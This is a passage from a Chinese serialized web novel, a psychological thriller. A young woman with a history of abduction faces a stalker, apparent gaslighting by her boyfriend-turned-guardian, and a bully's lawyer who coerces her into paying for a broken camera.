今天见面,秋榕榕已经提了好几次她有对象这件事情。
“我知道,我又没准备破坏你和你对象的感情。”谭松耸耸肩,自以为幽默地用啤酒瓶底戳了戳她的肩膀,“咱们可以玩玩,不和你对象说。”
他笑着开玩笑,说偷吃更香。
还说他现在比较贫穷,没钱谈个自己的女朋友,只有找别人的女朋友玩。
听得秋榕榕颇为无语。
就在他们开玩笑的间隙,秋榕榕的手机震动。
是周景行。
他发来了几张手术台上的照片:
银白的托盘上有一坨被切割下来的脂肪。
被切割一半的皮肤。
照片红白相间,每一张都是要打马赛克的程度。
她还没看清,这些图片又被迅速撤回。
周景行的电话打了过来。
谭松撇了一眼,“男朋友来查岗了。”
秋榕榕瞪他一眼,捂着手机听筒接通,语气柔下来:“喂,哥哥。”
那头是周景行温润的声音:“妹妹,周淮远的手术有点复杂,我今晚得留在医院陪夜。你什么时候回家?”
“我准备回去了。”秋榕榕想起昨天晚上出现在花圃里的男人。
那个怪人阴魂不散地盯着她。
周景行和周淮远又都不在家。
整个别墅只有她一个人,她晚上害怕。
“路上注意安全。”
“哥,我晚上能去医院吗?我一个人不敢在家睡觉。”
没等周景行回答。
“电话给我。”谭松直接把手机从秋榕榕的手中抽出来。
他对着电话那头的周景行说道:“大哥你好,我是秋榕榕同学。”
“对,她现在在我这里。”
“医院离我这里太远了,她去医院估计也休息不好,不如今天晚上就让她在我家,你放心,同学之间互相帮助应该的。”
挂了电话,秋榕榕一脸狐疑地看着他:“你到底和我哥说了什么?”
“他说你昨晚受了惊吓,让你在我这儿住一晚。”谭松挑眉,硬朗的眉眼锋芒毕露,“他还挺信任我。”
“我哥人很好。”秋榕榕虽然这么说,但心里有点郁闷。
明明早上还在吃醋。
怎么晚上会放心把她留在这里?
谭松试探着问道:“你为什么叫你对象哥哥?角色扮演?”
“一开始的称呼,没改。”秋榕榕简单说了一下自己和周家的关系。
谭松嗤笑一声:“兔子都不吃窝边草,他倒是吃得理直气壮。”
他拿起酒瓶一晃:“走吧,胆小鬼,带你吃小龙虾,就当赔你那点伤。”
秋榕榕没喝酒。
她第一次坐在外面吃小龙虾。
红色的塑料大棚被风吹得吱呀呀响。
她坐在塑料板凳上,面前是腿脚不稳的折叠桌,上面摆着用搪瓷盆装的小龙虾。
户外的风吹乱她的长发,她用手指当梳子抓了抓,绑了一个松散的低马尾。
谭松知道她手指刮伤了,帮她拨小龙虾,一颗一颗投喂。
他对女生没那么细心。
只是对秋榕榕,他想多照顾点。
秋榕榕胃口一般,她会尽量让自己多吃点,增重,但因为那一年的虐待搞出胃病,吃不了太油腻的东西。
龙虾高蛋白,加上辣油她就受不住了。
晚上,谭松想拉着秋榕榕去夜店喝酒,秋榕榕坚决不出门鬼混。
他想自己去。
秋榕榕嫌城中村治安混乱,不让他走。
“我真是服了你了!”谭松耐不过秋榕榕,只能留下来。
他把自己的床让出来,给秋榕榕休息。
还给她换了新的床单被褥。
觉得她太瘦,怕床褥薄了硌骨头,他又多加几层床垫。
至于谭松自己,就用两个板凳和一个破门板,搭了个简易的床,睡秋榕榕旁边。
他已经很多年没有在九点睡过觉了。
秋榕榕睡觉,他就睁着眼睛看着天花板。
这里是老旧的城中村,隔音效果差。
秋榕榕这三年调养身体,早就养成了早睡早起的好习惯。
但她睡眠比较浅,容易受惊,睡到半夜,她听见隔壁红姐咿咿呀呀营业的声音,在冷汗中惊醒。
隔壁的男人有点凶,骂骂咧咧,“照片里是学生妹,怎么真人这么老,你这是照骗!不值这个价!”
红姐的声音比白天更加尖锐,“来都来了,搞不搞?不搞的话定金不退!”
“敢骗老子钱,老子打死你!”
紧接着就是巴掌落下的声音。
女人又哭又叫,男人脏字一个又一个往外面蹦。
东西摔得噼里啪啦响。
秋榕榕往被子里瑟缩,这栋楼的墙皮比较薄,秋榕榕都怕隔壁打架,把墙给撞破了。
隔壁闹得有点大,一楼饭店的看门狗开始狂吠,谭松烦躁地从床上起来,熟练地从床底拿出钢管。
秋榕榕惊醒,她裹着被子坐起身问道:“谭松,你做什么?”
他把钢管一下又一下拍在自己的手心里,“你睡你的,听到声音别出来。”
第24章 偷吃
谭松出去后,只是把门虚掩着。
随后,秋榕榕就听见了谭松和对面男人对骂的声音。
男人污言秽语,谭松也不遑多让,生殖器连带着祖宗十八代往外蹦。
让秋榕榕这种纯听众都觉得害臊。
这是一个和学校里截然不同的谭松。
凶恶,暴力。
像个小混混。
秋榕榕还听见钢管击打在人身上的闷响。
电风扇呼哧呼哧转动,生锈老化的齿轮发出令人牙酸的声音,床板很硬,换了新的被褥,房间里还有驱散不开的霉味。
这个破出租屋不能住。
上吊天花板都可能要塌下来。
住的时间久了,会有一种自己人生要完蛋了的感觉。
谭松呼哧呼哧回来后,把钢管随意一丢,钢管在地上打滚,发出清脆的响声,撞到墙角抽不动了。
“头抬一下。”他走到秋榕榕的床头边,把她楼下枕的枕头拽出来,把新拿到的两百块钞票踹进去。
塞完钱,又把装着全部家当的枕头揣回秋榕榕脑袋下面。
这就是他的兼职之一。
给妓女做打手。
秋榕榕闻到他身上的血腥气。
她问道:“你受伤了?”
他喘着气,呼吸声变重,“没,刚才那个男人的。”
出租屋的房间就这么大,夜晚光线昏暗,他背对着秋榕榕,从大衣柜里找了一个新的套头T恤换上。
秋榕榕看着他背部流畅的肌肉线条。
隐约间,看见不少伤痕。
“红姐偷拍了你的照片,去揽客才得罪了客人。”谭松换好后,岔开腿坐在破门板上,“照片我帮你删了,下次你来我这里,记得戴口罩。”
这里是城中村,治安混乱,什么人都有。
秋榕榕不戴口罩,是因为归墟市的主干路上有监控。
她经历过绑架,时时刻刻把脸露在外面,出现在人前,才更安全。
这没必要和谭松说,秋榕榕只是“嗯”了声。
刚刚打过架,又看见了香艳的一幕,谭松觉得浑身燥热,有点睡不着。
他不抽烟,酒喝得多一些。
自从他爹被抓后,他晚上就睡不好觉,太阳穴经常突突跳着疼,最大的爱好就是拿以前剩下的旧装备去玩极限运动。
他那些装备老旧,有些安全绳都松了,但他还是这么玩,不管不顾,也无所谓哪天死了。
反正他奶奶年纪大了,也没多久好活的。
他爹死了,他妈不要他。
他在学校,徐照不停找他麻烦。
现在大四,他出去实习,徐照就拦着,不让好的企业录用他,逼着他烂在泥里。
这操蛋的人生,谭松觉得没啥意思,唯一就憋着一口气,想证明当年对自己掏心掏肺的爹,不是杀人犯。
他爹是老实人。
年轻的时候好像做生意发了一笔横财,从此他家就过上了买东西不用看价格的好日子。
若非后来,他爹被人下套,染上了赌瘾,他家也不会败落。
谭松印象里的父亲,永远是那个出差会给自己带糖的男人,他爹经常救助猫猫狗狗,街坊邻居都说他爹老实憨厚,发财了也不忘本,他爹干不出杀人这种事儿。
只是这话说出去,没人相信。
秋榕榕晚上不想熬夜,熬夜精神会变差,会头疼,还会长出黑眼圈。
她爱惜身体。
昏昏欲睡之际,秋榕榕听见谭松对他说话。
他声音嘶哑,“秋榕榕,你想不想和我试试?”
“试……什么?”好不容易引来的瞌睡虫又被赶跑。
“别装傻。”谭松有些不耐烦,眼睛在夜晚里格外明亮,“我体力绝对比你哥好,你哥说话温声细语,听起来就肾虚,你不如试试我,我保证不和你哥说。”
谭松和秋榕榕相似,又天差地别。
他们身上都有伤。
都死了家人。
都处在被欺负的境地。
但不同的是,秋榕榕有生的本能,她哪怕自己所处的环境再糟糕,也不会放任自己向下堕落。
放纵自我,争强斗勇,看起来洒脱,实际上没什么了不起。
秋榕榕一直谨记着父母的教育。
她觉得自律,宽容,对世界保持善意,对未来充满希望,才是一条正确的路。
谭松则是选择向下坠落。
秋榕榕无意评价别人的人生。
她只是说:“我和我哥还没到那一步。”
“没做过?”
“嗯……”
谭松有些意外,“那你之前谈过没?”
“没。”秋榕榕之前觉得自己的病没好,心理有疾病,无法开展健康的亲密关系。
她不想因病伤害自己的伴侣,于是选择在病好之后,再去开展恋爱关系。
“这么纯?”谭松嘟囔了一句,他重新躺到门板上,脑袋枕着自己的手臂,怨念颇深,“你今天骑摩托车的时候,说骑我,害得我高兴一下。没想到你只是口嗨,嘴上的巨人,行动的矮子。”
黑暗中,秋榕榕低低轻笑了声。
“我早就说了,我有男朋友。”
谭松转过身背对着秋榕榕。
她确实说了很多遍。
但他没说,他有个怪癖。
那就是,他永远喜欢别人的女朋友。
那感觉,和玩极限运动一样。
偷着来,很刺激。
秋榕榕早晨八点准时起床。
谭松还躺在门板上睡懒觉,秋榕榕没打扰他,而是把他掉在地上的毯子捡起来,拍一拍灰尘,重新搭在他的肚子上。
房间里没热水,秋榕榕用水壶烧水,然后温水刷牙洗脸。
他的冰箱里全部都是垃圾食品。
秋榕榕拿了两个鸡蛋,放进水壶里一起煮。
她看不惯乱糟糟的屋子,于是找了个垃圾袋,把冰箱里的烂菜,还有桌台上吃了一半的泡面全部扔掉。
谭松被秋榕榕收拾东西的声音吵醒。
他一起来,就看见屋子比昨天规整不少。
窗户打开,新鲜空气吹进来。
秋榕榕站在窗户处做广播体操。
这时,水壶“咕噜”响起,蒸汽袅袅升腾。
秋榕榕听到声音,转身去灶台旁关火,清晨的阳光正好透过半开的窗户斜斜洒下,落在她的侧脸上。
那道光将她轮廓勾亮,她睫毛纤长,五官清透,与杂乱逼仄的出租屋格格不入。
谭松怔了一下,目光落在她的脸上久久未曾离开。
他忽然意识到,她经历黑暗,但还是站在阳光里。
一瞬间,恍了神。
第25章 夹层
秋榕榕让谭松刷完牙,洗完脸,吃个早餐,他们再出发。
谭松坐在餐桌旁,乖乖帮秋榕榕剥鸡蛋。
他有一种自己回归正常生活的荒诞感。
吃完早餐后,谭松说要送秋榕榕回去,被她拒绝。
周景行要来接她。
谭松把她送出城中村。
秋榕榕习惯性地坐在副驾驶的位置上。
她和谭松挥挥手。
谭松注意力全在她男朋友身上。
他没有看见秋榕榕口中的男朋友长什么样子,只看见他戴着黑色口罩,衣服穿得也很严实。
秋老虎,天气还有些闷热。
谭松只觉得秋榕榕眼光奇特,找了这么个男朋友。
阴不阴,阳不阳的。
除了开的那辆车不便宜,其他的也没看到什么优点。
谭松觉得周景行藏着掖着,必然没自己帅。
此墙角,可挖。
车上,周景行只是随口问了几句她昨夜休息得如何,她和谭松是怎么认识的,还有一些相处细节。
秋榕榕一一回答,对于谭松昨夜的邀约,她也当做笑话,坦诚地说出来。
周景行没多计较。
“这几天,我尽量回来陪你,你别再麻烦你的同学。”
秋榕榕点头。
谭松昨夜说话越界,周景行也没吃醋,她内心有些失落。
想起昨天早晨,他弄破的餐盘。
秋榕榕理所当然把那当成是周景行吃醋。
她心里还有些窃喜。
可现在看来,说不定是她自作多情。
他们虽然是男女朋友关系,但不够亲近,不够热烈,周景行温润如玉,她又缺乏安全感。
相处之时,像隔了一层纱。
总有点不对味道。
秋榕榕看着车窗外快速后退的行道树,询问周景行,周淮远的手术情况。
“不容乐观。”
“他被切掉了三分之二。”
秋榕榕好像看见周景行在笑。
她是通过车内后视镜对上他幽黑的眼睛。
又赶紧侧过头,寻找现实中的他唇角的担忧。
镜中人。
镜外人。
恍恍惚惚,秋榕榕都快怀疑是不是自己已经治愈的癔症重新复发。
回到别墅后,周景行把车停进车库。
秋榕榕先一步从副驾驶下来,她发现院子里的兰花全部被摘了。
门口放着一封信。
「坏兔子,昨天晚上不回家。」
同样是报纸上的字,撕下来粘粘在一起。
和上次的一样。
秋榕榕捏着信纸的手发抖。
她看着上面的文字,头皮发麻,背脊冰凉。
“哥。”她想喊周景行,但周景行现在在车库,还没有过来。
她拿着信,先进屋。
仅仅一夜没有回来,客厅就变得又冷又湿。
她坐在客厅沙发上,沙发如同流沙般往下陷,她的腰贴着沙发,往下滑落。
她好像也听到了爬虫声。
嘎吱嘎吱——
爬虫在木地板下,在墙壁里,在天花板的夹层中。
秋榕榕觉得房间不是房间,而是爬虫的虫洞,密密麻麻的虫子铸造其这栋别墅,她生活在里面,精神正在被虫子慢慢地啃食掉。
脑子里好像也被钻进爬虫了。
这里太空旷。
她想回到更小的空间躲起来。
秋榕榕跌跌撞撞上了二楼,躲回自己的房间里。
她小的时候爸爸妈妈不在家,每次害怕,都会躲在被子里,柔软的被子将她环绕,如结界般牢不可摧。
但当她掀开被子,她看见兔子焦黑的尸体躺在她的床上,弄脏了她的床单。
抑制不住地尖叫一声。
死兔子!
死掉的兔子!
是谁进了她的房间?又是谁把兔子尸体放在了她的床上?
秋榕榕抽出好多餐巾纸,将那只死得硬挺挺的兔子捏着腿拽起来。
皮肉扯开,露出粉色的肌理,散发着诱人的食物香气。
秋榕榕看着兔子,想到自己,她没办法把兔子扔进垃圾桶,双手捧着兔子的尸体,想把它埋葬在花园。
“我来帮你。”周景行走了过来。
秋榕榕蹲在地上,正在用之前做花艺的铲子松土刨坑。
“哥。”秋榕榕抬起头,周景行站在他的身侧,逆着光,阴影投落在她的身上。
她说:“那个绑架我的坏人又来了,他一直在视奸我,他就在这栋房子周围!”
周景行帮秋榕榕埋葬了烧焦的兔子,平好土。
“我会和物业反映,让他们加强安保。”他永远冷静,永远淡然。
秋榕榕想把那封恐吓信给周景行看。
但是原本放在大桌上的信消失了。
她又拉着周景行去她房间,想给他看床单上的焦灰。
但床单上的污渍也没有了。
“哥哥,有人偷走了我的信,有人刚刚换掉了床单。”秋榕榕又听见四面八方传来爬虫的声音,越来越响,窸窸窣窣,“哥……你听见房间里爬虫的声音了吗?”
周景行一脸担忧地看着她,把她抱进怀里。
“不怕,我在你身边。”
“你可以永远依赖我。”
这次,他没说相信她。
秋榕榕怀疑是自己幻听加剧,但她敢发誓,她真的收到了信,也真的在床上看见了兔子的尸体。
她的床单铺下来。
拐角处没有掖好。
这不是她的习惯,刚才就是有人换了她的床单!
周景行贴心地给秋榕榕冲了一杯热牛奶,然后亲了亲她的额头,嘱咐她趁着周日好好休息。
秋榕榕眼底浮着淡青色阴影,她看着镜中的自己,有些懊恼自己为何要弄成这副模样。
她喝下牛奶,躺回床上。
想要强迫自己休息。
周景行悄悄关门离开。
入睡很难,醒来很快。
秋榕榕闭上眼睛不过十分钟,就被爬虫声再次惊醒,她睁着眼睛看天花板,耳朵像被放大了十倍。
不只是墙壁里的异响,就连窗外一阵风、一声狗叫、甚至阁楼上水管里的气泡声都会让她神经骤紧。
她怕吵,又怕静。
怕坏人敲门,也怕一个人待太久。
她感觉自己的精气神在疑神疑鬼中被磨得所剩无几,留下一个紧绷又空荡的壳。
不能这样。
秋榕榕告诉自己,她要振作起来。
大白天睡什么觉!
她鼓着一口气,手肘撑着床翻起来,把窗帘拉开,让阳光透进来。
从二楼往下看,秋榕榕看见周景行正在和人打电话,他来回踱步,脸上没什么表情。
在秋榕榕目光刚落在他身上的一瞬间,他就极为敏锐地抬头,看向二楼的她。
一瞬间的阴狠神情,难以捕捉。
第26章 关灯
正巧,秋榕榕的手机来电话,转移她的注意力。
她趴在窗户口,吹着风接通。
又冷又湿的风让她清醒,带走耳边的异响,也带走身上的温度,脖子凉飕飕的,她离开窗户,但又把窗帘拉得更大一些。
是学校领导的电话。
学校让秋榕榕周一的时候去行政楼的小会议室。
要处理徐照和她之间的纠纷。
对面领导的语气冷漠,把她当成了惹事的麻烦精。
秋榕榕能预感到,结果不好。
爬虫不是无时无刻都存在的。
就像现在,爬虫的声音消失了。
秋榕榕的耳边安静下来。
周景行上来后,帮她把打开的窗户又关起来,“少吹点冷风,你容易头疼。”
“想给房间透透气。”秋榕榕嗓音干哑。
周景行坐到她的旁边,握着她的手,用商量的口吻说道:“刚才社区又给我打电话,催促你确定监护人的事情。
我也联系不到我爸爸,他有的时候出国工作,信号不好。
你家里还有其他长辈吗?”
秋榕榕摇摇头,“只剩下些远方亲戚,他们避我如蛇蝎。”
“那你考虑我吗?”
秋榕榕沉默,她现在没得选。
周景行抚摸着她的脸庞,他细致地用眼神描摹她的眉眼,再温柔,也带不走笼罩在她头顶的那片阴影。
“妹妹,不用担心,选我做你的监护人,不会影响我们之间的关系。”他低头亲了亲她的额头,“我相信你是健康的。”
见秋榕榕不开心,他又捏了捏她的手背,“实在不行,等我爸回来,我再把监护人转给他。”
秋榕榕叹了口气,伸手环抱住他的腰,把脸埋在他的胸口。
“我很不安,被鉴定成精神病后是可以办理残疾证的,但我是一个健全的人,我竟然可悲的沦落到需要一个监护人。”
这个身份安在秋榕榕的头上,意味着她以后很难找到工作。
不能单独在外面和别人签合同。
甚至花一些大额的钱,她都不能自行做主,需要监护人的追认。
换言之,她的命被捏在监护人的手中。
监护人可以随时把她送进精神病院。
她回归学校,回归社会,是为了正常的生活。
可如今,一纸薄薄的鉴定书像是五指山,把她压趴下,让她不得超生。
“有我信你。”他真挚地把她的手放在自己的胸膛,让她感受到他炙热的心跳声。
秋榕榕不免有些悲观。
她害怕这种人生不掌握在自己手中的失控感。
更不想把自己的男朋友变成监护人。
周景行现在喜欢她,当然相信她,愿意做她的监护人。
那以后如果吵架了呢?
情侣之间,难免会有争论。
到时候他一句“你这个疯子”,秋榕榕百口莫辩。
她要把自己未来的命运压在别人的良心上。
她很恐惧。
可悲的是,秋榕榕没有其他选择的余地。
“哥,以后麻烦你了。”
秋榕榕只能答应下来。
下午周景行就带着秋榕榕去社区把监护人的手续办好。
红章卡下,周景行还有心思和她开玩笑,说希望以后他们可以盖一个婚姻登记处的章。
秋榕榕看着那张纸。
不平等的恋爱关系让她笑不出来。
周景行也知道秋榕榕不开心,他开着车,带她去南翡河边的爱上草原上透透风。
岸上草原有一口枯井,周围拉起铁锁链,据说这口枯井格外的深,如果人掉进去的话,难以救援,很可能在底下活生生被卡死。
但又有人把这口井称为情人井。
周景行抛了一枚硬币下去,硬币直直坠落,竟然听不见回声。
他许愿生死相随。
秋榕榕忌讳死字,她也扔了一枚下去。
许愿他们可以平平安安,相守百年。
出去逛一逛,呼吸新鲜空气,秋榕榕的状态比之前好一些。
周景行今天晚上请了护工陪同周淮远。
他在家。
晚上休息,秋榕榕本来已经洗好澡,准备睡觉,她关灯,手指还未碰到开关,灯光忽然“咔哒”一声自己灭了。
黑暗将她笼罩。
她听见了自己呼吸的声音。
几秒后,灯又自己亮了。
随后就是剧烈的闪烁。
一会开一会关。
像是有人在恶作剧玩她的开关。
她心脏怦怦跳,忙不迭地找周景行帮忙检查。
周景行一来,灯就正常了。
这显得她疑神疑鬼,没事找事。
“今晚睡我屋吧,和之前一样,你睡床上,我打地铺。”周景行直接把她放屋里的灯关了。
秋榕榕任由他拉着前往走廊。
离开房间的时候,秋榕榕看见周淮远房间的灯也是开着的。
“哥。”她抬起手指着周淮远的房间,“那个房间的灯没有关。”
周景行停下脚步,看着周淮远的房间,“那个房间没有亮灯。”
灯是开着的。
秋榕榕清清楚楚,明明白白,看见此刻周淮远房间的灯,就是开着的!
她指着亮灯的房间,另一只手抓着他的衬衫,重复着说“你再看看,灯是亮着的。”
秋榕榕现在急需要被认可。
周景行捂着她的眼睛,再缓缓地松开手,“你现在仔细看看,灯是开着的,还是关着的?”
秋榕榕手下意识地收紧袖口,她的目光被那个房间紧紧牵住,随后舔了舔干涩的下嘴唇。
心一寸一寸沉到谷底。
房间黑了。
灯是关着的。
秋榕榕脚步虚浮地跟着周景行回到房间。
她自己都开始怀疑自己,是不是真的精神病复发。
后面周景行又说了很多安慰她的话,还说带她去医院复查。
她没听进几句。
秋榕榕平躺在床上,被褥里都是周景行味道,干净、疏离,隐隐透着一点冷杉和白茶的香调,缠绕在她的鼻尖,若有若无,挥之不去。
“害怕的话就把手放下来,我拉着你睡觉。”声音从床下传来。
秋榕榕往床的边缘睡了睡,把自己的手伸下去。
周景行牵着她的手。
他们十指相扣。
周景行给了她莫大的安全感,她渐渐地放松紧绷的心绪,进入梦乡。
夜里噩梦缠绕,秋榕榕被爬虫声吵醒。
这次她听到的爬虫声,是从床板里传出来的。
一个姿势保持太久,身体麻木。
她正准备活动身体,后知后觉地发现周景行的手还没有松开。
他睡在下方,若已经进入梦乡会自然而然松开手。
秋榕榕轻声喊了句“哥哥”。
周景行没有回她。
连呼吸声都听不见。
房间静得吓人。
而那只拉着她的手,忽然动起来,顺着她的手背往上摸,酥酥麻麻,摸到她手腕的疤痕处。
第27章 诬陷
毛骨悚然。
秋榕榕一瞬间,觉得全身的血液都离她而去,她板正地躺在床上,像一具等待被开膛破肚的尸体。
这栋别墅对她而言像是鸽子笼。
她觉得这里风水不好。
只要踏进这个屋子,她就不怎么分得清楚现实和虚幻。
秋榕榕喊了太多次狼来了。
若让她站在周景行的位置上看自己,她也会觉得自己生病了。
周景行睡得很沉。
沉到秋榕榕又开始疑神疑鬼,觉得他被下药了。
她不敢把手收回来。
更不敢下去开灯,看看床下到底是什么。
那只手钻进她的袖口,指节一屈一屈地往上抚摸,他们手臂与手臂之间贴合,皮肤接触的越多,秋榕榕越能确定,这个人绝对不是周景行。
这只手,是从床底下伸出来的。
也许是感觉到秋榕榕没反抗,那只手也不算过分,摸了摸她的伤疤之后,又把手移下去,和她十指相扣。
他的手很大,把秋榕榕的指缝撑开,时间长了会有些酸痛。
在这么紧绷的环境下,秋榕榕闻到一股异香,昏睡过去。
“兔兔……我的兔兔……”
身体轻飘飘的。
意识好像又飘到空中。
次日,秋榕榕被闹铃声惊醒。
今天是周一,得去学校。
秋榕榕从床上起来,第一时间把窗帘拉开,让阳光照进来。
想起昨夜,她心有余悸,找了一把折叠雨伞。
把伞柄抽出来做武器,她垫着脚尖,小心翼翼地挑开床单,先用雨伞的柄往里面戳了戳。
发现里面没有声音,才慢慢俯下身,跪趴在地上,去看床底。
床下什么都没有。
秋榕榕坐在地上,有些迷茫。
昨夜的事情像是一场梦魇。
梦过之后,了无痕迹。
周景行留了早餐在大桌上,他不在家。
煎好的鸡蛋还是热的,牛奶也是刚刚温过。
怕被人说又犯病,秋榕榕把昨天晚上的事情藏在肚子里,没和任何人提起。
吃完早餐,把碗碟放进洗碗机里。
学校,还有人在等着她。
行政楼小会议室。
秋榕榕再次见到徐照和他身边的一群跟班。
他们带了律师。
金边眼镜,年纪三十左右,穿着白衬衫,看上去斯文又精明。
金融学院的院领导亲自过来处理这件事,领导中年秃顶,又矮又胖,面色红润,见谁都是三分笑。
剩下的,就是秋榕榕的辅导员,脸色不太好看。
秋榕榕走进小会议室的时候,所有人的目光都落在她的身上。
辅导员对她招招手,示意她过去。
秋榕榕走到辅导员身边。
院领导先乐呵呵地介绍了一下在场众人,“秋同学,这位是徐氏集团来的张律师,他有些话想要问你,你如实回答就好了。”
“问我?还是审我啊?”秋榕榕见徐照带着律师,手里还得把玩着那个破损的摄影机镜头,就知道他们来者不善。
张律师用食指推了一下挺翘鼻梁上的眼镜,“秋同学,我这次来是为了调解你和我们徐少之间的矛盾。”
“那不是小打小闹的矛盾,是徐照暴力殴打我,还试图给我拍摄不雅视频,指使别人侵犯我的犯罪事实……”
秋榕榕见这里人多,还有学校领导,就想把话说清楚,为自己讨一个公道。
张律师镜片下的双眸泛着寒光,他打断了秋榕榕的话。
“秋同学,别说得这么严重。
说任何话都是要讲究证据的。
否则的话就是故意散布捏造的事实,败坏徐少的名誉。
这种情况下,我们有权利追究你的诽谤罪。”
张律师很专业。
体育器材室里没有监控录像。
但秋榕榕有人证。
她说:“我的辅导员和我班里的姜雨薇同学见到了,是她们救了我,可以为我作证。”
“据我所知,她们只看到了那几位同学上前来抓你……”张律师指着旁边站着的几位男同学。
那几位男生抖了抖,缩着脑袋像鹌鹑一样谁都不想出头。
直到徐照不耐烦地“啧”了一声,那群男生中间的黄毛才站出来,硬着头皮向秋榕榕鞠躬道歉。
“对不起秋同学,你弄坏了徐少的摄影机,又不想赔偿,我也是情急之下才会去拉扯你的,请你原谅我!”
黄毛把腰弯成四十五度。
其他男生也随声附和。
“对,那个摄影机二十万,你不赔钱就想跑,我们怎么可能让你走?”
徐照在这个时候也装好学生,叹着气说道:“他们也是为了给我打抱不平,才会上手拉扯你。
结果你受到惊吓,口口声声说他们要侵犯你,啧啧,谁都知道,你之前被一个老男人关在地下室里虐待过一年,都已经脏了……
我这帮兄弟虽然谈不上洁身自好,但是找女朋友也是有标准的,你放心,他们绝对看不上你这款。
你现在也没受伤,他们拉扯你的事情,我让他们给你道歉,而你弄坏我摄影机,至少要赔我一半的价格。”
颠倒是非,胡说八道。
秋榕榕被这些人的无耻程度震惊到,“那摄影机是你自己弄坏的!”
黄毛和其他男同学立刻叫嚷,“秋同学,你怎么可以赖账?我们都亲眼看见,是你摔坏的。”
他们也是人证。
眼见着即将吵起来,院领导又出来当和事佬,“你们这些男生上手拉扯秋同学,本来就不对,道歉的态度要认真,知不知道!”
“是是是,毕竟我是男的,好男不跟女斗。”徐照仰着下巴,语气十分不屑,“对不起,行了吧?”
秋榕榕不接受。
院领导倒是很满意,他不敢真的得罪徐照,就只能来压父母双亡的秋榕榕。
“至于秋同学,你摔坏了别人的东西,该赔的也要赔。
都是成年人了,要为自己的行为负责任。
不然的话,我们学校可容不下德行有缺的学生。”
话里话外,都是威胁。
他们挑着没钱没势的软柿子捏。
秋榕榕呼吸加促,文凭对她而言很重要,她绝对不能够被退学。
张律师拿出事先准备好的和解协议,“秋同学,考虑到你家庭困难,摄影机我们只要求你赔偿一半。
我们不计算你的利息,你可以按月分期赔偿,每个月赔偿一万元,不到一年你就可以赔完了。”
字字句句,都想是为她着想。
他们要让秋榕榕明白,有些状不是可以随便告的!
第28章 獠牙
年轻的辅导员没想到事态向这个方向发展。
明明在来之前,院领导还向她拍着胸脯保证,一定会给所有人一个公道。
而现在看来,这哪里是给公道?
这是挑着人家孤女欺负!
辅导员想帮秋榕榕说话,但当时她到场的时候,确实只看到其他男生拉扯秋榕榕。
那个摄影机里没有任何拍摄的影片。
秋榕榕也只检查出撞击的淤青。
之前的场景,辅导员没看见,她没有作证的权利。
她也是大学毕业后刚出来上班。
实习期还没过,就看见权势压人的黑暗。
她也无能为力。
秋榕榕有些孤立无援。
真相被人为切割,秋榕榕一个人对抗所有人。
院领导、徐照、张律师、还有那些男同学在她的眼前,全部变成魑魅魍魉。
他们摘下人皮,都是青面獠牙的怪物。
一个两个,都想上来咬秋榕榕一口。
将她剥皮抽筋,将她打入十八层地狱。
院领导见秋榕榕不动,原本那张像弥勒佛一样慈祥的脸板住,严肃地训斥道:“秋同学,弄坏了别人的东西要赔偿,但凡有个爹妈都知道这个道理吧。
你要是不想赔偿的话,张律师会去法院起诉你的,学校也会给你记大过的处分,严重的话还会开除。”
自证清白,是一个很难的事情。
势均力敌的人之间才谈公平。
而当身份悬殊到一个人连开口的权利都没有时,所谓的公道,不过是压迫者手里的一把刀。
秋榕榕忽然想到谭松,那时她送她去医务室,他说她会后悔的,原来是指今天这个局面。
她缓缓抬起头,眸色沉静,“摄影机上没有我的指纹,你们说摄影机是我损坏的,至少要求人证加物证相结合,只有人证,他们可能说谎。”
秋榕榕垂在身侧的手微微握紧。
她知道此事难以善了。
张律师皮笑肉不笑地说道:“因为你是用肩膀撞到摄影机的,隔着衣服当然没有指纹。
也正因为如此,我们也有责任,只要你赔偿一半的价格,另外一半损失我们自己承担,不过分啊。”
他们想要针对她,摄影机只是一个借口而已。
十万对徐照而言不过是一件高定衣服。
对秋榕榕而言,是天价。
这天,秋榕榕费劲唇舌。
她终于明白,言语是多么单薄的东西。
……
秋榕榕从小会议室里走出去,眼前一片恍惚。
她不想签字,但今天不签字,她就不可能从里面走出来。
签下字,十万是一个教训,警告她没事别向学校告状。
不签字,张律师会代表徐照起诉她毁损财物,学校轻则记大过,重则开除处理。
钱要赔,学也不能上。
两害相权取其轻,秋榕榕只能选择前者。
辅导员遗憾地告诉秋榕榕,她实习期没通过,过两天就会离开学校,出去重新找工作。
秋榕榕和她说对不起,被辅导员制止了。
“你没做错什么,我也没有做错什么。”辅导员的声音很轻,轻到风一吹就可以消散,“需要道歉的是做坏事的人,不是你。”
辅导员抱了抱秋榕榕瘦弱的身体,转身离开,秋榕榕看着她离去的背影,心里难受。
秋榕榕回到班级,姜雨薇因为家中的生意出现危机,不在学校,没人坐她的身边。
她选了一个靠窗户的位置。
老师在上面讲课,她无心听。
侧头看着窗户外面,天色阴沉得如同积灰的厚铅板,低低地压在学校的头顶。
光线被灰暗的天幕吞噬,空气浑浊沉重,世界是一片冷灰色。
秋榕榕用笔在笔记本上乱画。
杂乱的线条是她此刻的心情。
她忍了又忍。
心里愤恨的情绪却始终无法消散。
徐照在班里后排,和他的小跟班们庆祝胜利。
没人敢让他们小声点。
就连讲台上的老师也直接当他们不存在。
辅导员在走之前,帮秋榕榕做的最后一件事情,就是申请奖学金和贫困生补贴的名额。
她希望这笔钱,可以帮秋榕榕减轻十万元的还款压力。
徐照最近也收到了家里的警告。
让他低调点。
所以在签完赔偿协议的当天,他没找秋榕榕麻烦。
秋榕榕没有直接回家。
她坐公交车去了离学校很远的地方,然后找了一家网吧,匿名发帖,揭露徐照校园霸凌的事情。
总得做些什么,让徐照也不痛快。
帖子发不出去。
和徐氏集团相关的一切都是敏感词。
秋榕榕将他们的名字改掉,用更隐晦的方式发帖。
而这种帖子发出去之后,很快就会被删掉。
多发几次,秋榕榕刚注册的账号直接被封禁。
这一瞬间,秋榕榕有一种和徐照同归于尽的想法。
她想带一把刀,把那些人捅死。
杀一个回本,杀两个赚了。
周景行打电话给秋榕榕的时候,她还在其他区的网吧没出来。
“定位发过来,我来接你。”
秋榕榕站在网吧门口。
黑色的车喇叭滴滴两声,秋榕榕看过去,只见周景行半开车窗,胳膊搭在上面,示意她过去。
秋榕榕坐上车后沉默寡言。
周景行身上有一种野生动物才有的敏锐感。
从秋榕榕没有按时到家,去了其他区的网吧,到上车后情绪低落,他就能猜到,秋榕榕身上出了事。
他再三追问,秋榕榕把今天在学校发生的事情说了出来。
“哥,为何徐照作恶,不仅没有报应,还能过得风生水起?”
